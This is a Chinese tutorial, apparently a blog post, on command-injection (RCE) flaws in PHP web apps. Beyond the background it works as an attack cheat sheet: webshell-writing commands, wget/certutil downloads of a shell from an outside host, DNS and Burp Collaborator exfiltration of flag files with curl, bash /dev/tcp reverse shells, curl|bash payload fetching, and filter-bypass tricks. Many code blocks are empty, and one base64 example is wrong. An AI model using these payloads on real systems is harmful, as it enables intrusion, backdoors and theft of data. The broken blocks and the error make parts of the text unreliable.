命令执行漏洞
命令执行漏洞是指在Web应用系统中,因为没有对用户传入或构造的参数进行有效的安全性检测,从而执行了参数中嵌入的系统操作命令或调用了触发系统的函数,使得攻击者可以在目标系统中不受限制地执行某些系统命令,例如关机指令、文件删除指令、文件移动指令、端口开启/关闭等指令。
如曾经爆出的bash破壳漏洞,就是通过命令执行漏洞进行恶意攻击的。Wordpress的第三方组件ImageMagick调用不当造成的命令攻击、Java的Struct2框架的远程命令执行攻击等,也属于命令执行漏洞,俗称RCE漏洞。此类漏洞可以进行文件的读取操作,并为恶意攻击者提供内网渗透通道,如反弹shell、内网探测等高级威胁。
命令连接符
Windows下的命令连接符
&:前面的命令为假则直接执行后面的命令;为真,则在前面的命令执行后再执行后面的命令。&&:前面的命令为假则直接出错,后面的命令也不执行;反之,前面的命令执行成功后执行后面的命令。|:前后命令都按顺序执行,但只显示后面的命令执行结果。||:前面的命令出错,则执行后面的命令;否则,不执行后面的命令。
Linux下的命令连接符
;:执行完前面的命令再执行后面的命令&:前面的命令为假则直接执行后面的命令;为真,则前面的命令执行后,再执行后面的命令。&&:前面的命令为假则直接出错,后面的命令也不执行;反之,前面的命令执行成功后执行后面的命令。|:前后命令都按顺序执行,但只显示后面的命令执行结果。||:前面的命令出错,则执行后面的命令;否则,不执行后面的命令。
命令执行函数
与代码执行一样,在PHP中也有很多命令执行函数,例如exec()、system()、shell_exec()、passthru()、popen()、proc_open、pcntl_exec()等函数,可以通过参数控制函数执行系统命令。这些函数的参数一旦被攻击者控制或被注入恶意指令,就会导致命令执行漏洞,从而触发恶意攻击操作。
system() 函数
system()函数执行参数指定的系统命令,并且输出执行结果。
1 |
|

exec() 函数
exec()函数有两个参数,默认情况下,会返回第一个参数的命令运行结果的最后一行,第二个参数有效时,会将返回追加到第二个参数的值后面。
1 |
|

shell_exec() 函数
shell_exec()函数通过shell执行参数指定的命令,输出命令返回结果的完整字符串。在Linux环境下执行。
1 |
|

passthru() 函数
passthru()函数调用参数指定的命令,把命令的运行结果原样地直接输出到标准输出设备上。
1 |
|

popen() 函数
popen()函数打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
1 |
|

proc_open() 函数
proc_open()函数执行一个命令,并且打开用来输入/输出的文件指针。
1 |
|

pcntl_exec()函数
pcntl是linux下的一个扩展,可以支持php的多线程操作。pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0。
有关安装pcntl扩展可以参考下面这篇文章:
exp.php:
1 |
|
test.sh:
1 | #!/bin/bash |
反引号``
``(反引号)函数将反引号里的内容当作shell命令执行。
1 |
|

无回显命令执行利用
有回显的情况下相对交少,一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧。
利用延时测试漏洞
Linux:
1 | | ping -c 5 127.0.0.1 |
Windows:
1 | | ping -n 5 127.0.0.1 |
改变文件类型
重定向输出
通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容。
Linux:
1 | cat flag.php > flag.txt |
Windows:
1 | type flag.php > flag.txt |
复制命令
Linux:
1 | cp flag.php flag.txt |
Windows:
1 | copy flag.php flag.txt |
移动或重命名命令
Linux:
1 | mv flag.php flag.txt |
Windows:
1 | move flag.php flag.txt |
压缩命令
Linux:
1 | tar cvf flag.tar flag.php |
Windows:
1 | # 需要主机安装WinRAR,一般是默认安装了的 |
写入或下载WebShell
本地写入WebShell
如果存在漏洞的页面有 web 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell。
Linux:
1 | echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d > shell.php |

Windows:
1 | echo ^<?php phpinfo();eval($_POST['hack']);?^> > shell.php |

注:在cmd命令行中,
^符号表示转义字符,类似编程语言的\符号
外部下载WebShell
需要目标主机可以连接外网与攻击机互通。
Linux:
1 | wget http://hackroom.com/shell.php -O /var/www/html/shell.php |
Windows:
1 | certutil -urlcache -split -f http://hackroom.com/shell.php |
带外通信
DNSLog平台
dnslog 是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog 会把你访问的子域名的头文件记录下来。
需要注意以下几点:
- 命令执行时要避免空格,空格会导致空格后面的命令执行不到
- 将读取的文件命令用反引号``包含起来
- 拼接的域名有长度限制
- 此类方法仅Linux有效


这里使用的是知道创宇的ceye.io,和dnslog一样是具有显示解析记录的平台。
注:如果命令执行的结果有带空格符,可以将结果进行base64编码输出后再解码
1 curl `cat<flag.php|base64`.v4utm7.ceye.io
BurpSuite - Collaborator Client
使用curl -F将flag文件上传到BurpSuite的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)
获取
Collaborator Client分配给Burp的链接打开Burp主界面 -> 菜单(Burp)-> Collaboraor Client -> 点击 Copy to Clipboard


Copy得到
1
jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
拼接payload并在命令执行处提交
1
ip=|curl -X POST -F xx=@flag.php http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
- 查看Collaborator Client收到的数据

成功得到flag。
反弹Shell
首先需要在攻击者的服务器发起监听(使用nc或者msf)
1 | nc -lvvp 8888 |
受害者执行命令有如下两种方法:
直接在受害者服务器执行反弹shell命令(也可以进行base64编码)
1
bash -c "bash -i >& /dev/tcp/192.168.123.43/8888 0>&1"
在攻击者的文件中写入反弹shell命令,再通过受害者服务器执行curl后执行bash命令
1
2
3
4
5# 攻击者服务器文件写入:
bash -i >& /dev/tcp/192.168.123.43/8888 0>&1
# 受害者执行命令:
curl 192.168.123.43/attack.txt|bash
命令执行绕过
开发人员在开发过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。
注:以下绕过仅针对Linux环境
绕过空格过滤
${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部区域分隔符。$IFS中存储的值可以使空格、制表符、换行符或者其他自定义符号。
- ${PS2} 对应字符 ‘>’
- ${PS4} 对应字符 ‘+’
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串

{}绕过

绕过关键词过滤
变量拼接绕过
Linux支持变量赋值,可以通过变量拼接来绕过过滤规则

空变量绕过

系统变量绕过
${SHELLOPTS}是系统变量,可以利用系统变量的字符拼接绕过过滤

\ 绕过

引号绕过

通配符绕过
Linux支持利用通配符进行字符匹配。通配符的作用是在模糊查询时表示文件名中某些不确定的字符
* 代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思

BASE64编码绕过
利用系统函数base64对命令进行Base64编码,以绕过过滤。例如,ls -l命令的Base编码为d2hvYW1p,在利用base64 -d对d2hvYW1p进行解码,这样就绕过了过滤,并且正常执行了命令

expr和awk绕过
通过expr和awk命令从其他文件中获取字符并进行命令构造
